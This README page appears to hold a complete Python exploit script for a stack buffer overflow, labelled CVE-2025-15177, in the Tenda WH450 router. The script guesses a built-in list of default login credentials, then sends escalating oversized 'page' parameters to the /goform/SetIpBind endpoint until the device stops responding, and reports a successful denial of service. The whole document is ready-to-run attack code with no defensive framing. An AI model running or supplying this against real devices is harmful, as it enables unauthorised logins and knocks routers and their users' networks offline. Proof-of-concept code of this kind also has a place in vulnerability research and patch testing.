README.md
Rendering markdown...
#!/usr/bin/env python3
import sys
import time
import argparse
import requests
from typing import Optional, Tuple, List
from dataclasses import dataclass
from enum import Enum
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
class ExploitResult(Enum):
SUCCESS = "success"
TARGET_DOWN = "target_down"
TARGET_ALIVE = "target_alive"
AUTH_FAILED = "auth_failed"
ERROR = "error"
@dataclass
class TargetConfig:
base_url: str
timeout: int = 10
verify_ssl: bool = False
@dataclass
class Credentials:
username: str = ""
password: str = ""
class TendaWH450Exploit:
DEFAULT_CREDENTIALS: List[Tuple[str, str]] = [
("", ""),
("admin", "admin"),
("admin", ""),
("user", "user"),
]
VULNERABLE_ENDPOINT = "/goform/SetIpBind"
AUTH_ENDPOINT = "/login/Auth"
def __init__(self, config: TargetConfig):
self.config = config
self.session = requests.Session()
self.authenticated = False
def _normalize_url(self, url: str) -> str:
url = url.rstrip("/")
if not url.startswith("http"):
url = f"http://{url}"
return url
def _request(self, method: str, endpoint: str, **kwargs) -> Optional[requests.Response]:
url = f"{self.config.base_url}{endpoint}"
kwargs.setdefault("timeout", self.config.timeout)
kwargs.setdefault("verify", self.config.verify_ssl)
kwargs.setdefault("allow_redirects", True)
try:
return self.session.request(method, url, **kwargs)
except requests.exceptions.RequestException:
return None
def check_alive(self) -> bool:
response = self._request("GET", "/")
return response is not None and response.status_code == 200
def authenticate(self, creds: Credentials) -> bool:
data = {"username": creds.username, "password": creds.password}
response = self._request("POST", self.AUTH_ENDPOINT, data=data)
if response is None:
return False
if response.status_code == 200:
if "index" in response.url.lower() or "main" in response.text.lower():
self.authenticated = True
return True
return False
def authenticate_with_defaults(self) -> bool:
for username, password in self.DEFAULT_CREDENTIALS:
if self.authenticate(Credentials(username, password)):
return True
return False
def trigger_overflow(self, payload_size: int) -> ExploitResult:
if not self.authenticated:
return ExploitResult.AUTH_FAILED
overflow_data = "A" * payload_size
params = {
"page": overflow_data,
"op": "no",
"check": "1",
"default_mode": "1"
}
try:
self._request("GET", self.VULNERABLE_ENDPOINT, params=params)
except Exception:
pass
time.sleep(3)
if not self.check_alive():
return ExploitResult.TARGET_DOWN
return ExploitResult.TARGET_ALIVE
def execute(self, payload_sizes: List[int]) -> ExploitResult:
if not self.check_alive():
return ExploitResult.ERROR
if not self.authenticate_with_defaults():
return ExploitResult.AUTH_FAILED
for size in payload_sizes:
result = self.trigger_overflow(size)
if result == ExploitResult.TARGET_DOWN:
return ExploitResult.SUCCESS
time.sleep(2)
return ExploitResult.TARGET_ALIVE
def parse_arguments() -> argparse.Namespace:
parser = argparse.ArgumentParser(
description="CVE-2025-15177: Tenda WH450 V1.0.0.18 Stack Buffer Overflow",
formatter_class=argparse.RawDescriptionHelpFormatter
)
parser.add_argument("target", help="Target IP or URL")
parser.add_argument("-s", "--size", type=int, default=240, help="Initial payload size")
parser.add_argument("-u", "--username", default="", help="Authentication username")
parser.add_argument("-p", "--password", default="", help="Authentication password")
parser.add_argument("-t", "--timeout", type=int, default=10, help="Request timeout")
parser.add_argument("--escalate", action="store_true", help="Try escalating payload sizes")
return parser.parse_args()
def main() -> int:
args = parse_arguments()
config = TargetConfig(
base_url=args.target.rstrip("/") if args.target.startswith("http") else f"http://{args.target}",
timeout=args.timeout
)
exploit = TendaWH450Exploit(config)
print(f"\n[*] Target: {config.base_url}")
print(f"[*] CVE-2025-15177: Tenda WH450 SetIpBind Buffer Overflow\n")
if not exploit.check_alive():
print("[-] Target is not reachable")
return 1
print("[+] Target is alive")
if args.username or args.password:
if not exploit.authenticate(Credentials(args.username, args.password)):
print("[-] Authentication failed with provided credentials")
return 1
print("[+] Authenticated with provided credentials")
else:
if not exploit.authenticate_with_defaults():
print("[-] Authentication failed with all default credentials")
return 1
print("[+] Authenticated with default credentials")
payload_sizes = [args.size]
if args.escalate:
payload_sizes = [args.size, args.size + 100, 500, 1000, 2000]
print(f"[*] Sending overflow payload(s): {payload_sizes}")
result = exploit.execute(payload_sizes)
if result == ExploitResult.SUCCESS:
print("\n[!] TARGET CRASHED - DoS successful")
return 0
elif result == ExploitResult.TARGET_ALIVE:
print("\n[?] Target still responsive - try larger payloads with --escalate")
return 2
else:
print(f"\n[-] Exploit failed: {result.value}")
return 1
if __name__ == "__main__":
sys.exit(main())